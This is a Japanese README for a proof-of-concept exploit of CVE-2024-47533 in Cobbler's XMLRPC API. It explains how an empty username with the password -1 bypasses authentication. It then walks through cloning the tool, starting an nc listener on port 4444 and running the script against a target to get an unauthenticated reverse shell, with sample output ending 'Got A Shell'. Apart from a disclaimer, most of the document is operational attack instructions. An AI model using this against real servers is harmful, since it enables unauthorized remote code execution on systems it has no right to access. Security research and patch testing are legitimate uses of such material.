CVE-2024-47533 – Cobbler XMLRPC 認証バイパス → リバースシェル (未認証RCE)

📌 概要

このリポジトリは CVE-2024-47533 の 概念実証 (PoC) エクスプロイト です。
Cobbler の XMLRPC API における認証バイパスの脆弱性を悪用し、未認証のリモートコード実行 (RCE) に至ります。

このエクスプロイトは、XMLRPC API の login() メソッドの欠陥を利用して認証を回避し、background_import() を介してリバースシェルコマンドを注入します。

⚠️ 免責事項

このツールは 教育、研究、および許可された侵入テストのみ を目的としています。
所有していないシステム、または明示的な書面による許可を得ていないシステムでは 使用しないでください。
作成者は誤用や損害について 一切の責任を負いません。

🛠 技術詳細

脆弱性の種類: 認証バイパス → RCE
影響を受けるコンポーネント: Cobbler XMLRPC API
攻撃経路: ネットワーク
必要な権限: なし
ユーザー操作: 不要

根本原因:
utils.get_shared_secret() が、バイナリモードでのファイル読み取りとエンコーディングの扱いの誤りにより -1 を返します。これにより、空のユーザー名とパスワード -1 で認証が可能になります。

影響:
攻撃者は以下のことが可能です。

管理者レベルのAPIアクセスを取得
Cobblerテンプレートに任意のシステムコマンドを注入
対象サーバー上にリバースシェルを起動

🚀 使い方

1️⃣ リポジトリをクローン

git clone https://github.com/00xCanelo/CVE-2024-47533-PoC.git
cd CVE-2024-47533-PoC

2️⃣ リスナーを起動

攻撃マシン上で:

nc -lvnp 4444

3️⃣ エクスプロイトを実行

python3 CVE-2024-47533.py -u http://<TARGET_IP>:<PORT>/RPC2 -l <LHOST> -p <LPORT>

例:

python3 CVE-2024-47533.py -u http://192.168.1.50:25151/RPC2 -l 192.168.1.100 -p 4444

📂 ファイル構成

.
├── CVE-2024-47533.py  # Reverse shell exploit script
└── README.md          # Documentation

📸 実行例

[*] Target: http://192.168.1.50:25151/RPC2
[*] Listener: 192.168.1.100:4444
[*] Payload: bash
[*] Connecting to Cobbler...
[*] Authenticating...
[*] Executing exploit...
[+] Exploit sent! Got A Shell 🔥.

🧑‍💻 作者

00xCanelo
GitHub プロフィール

CVE-2024-47533-PoC

人気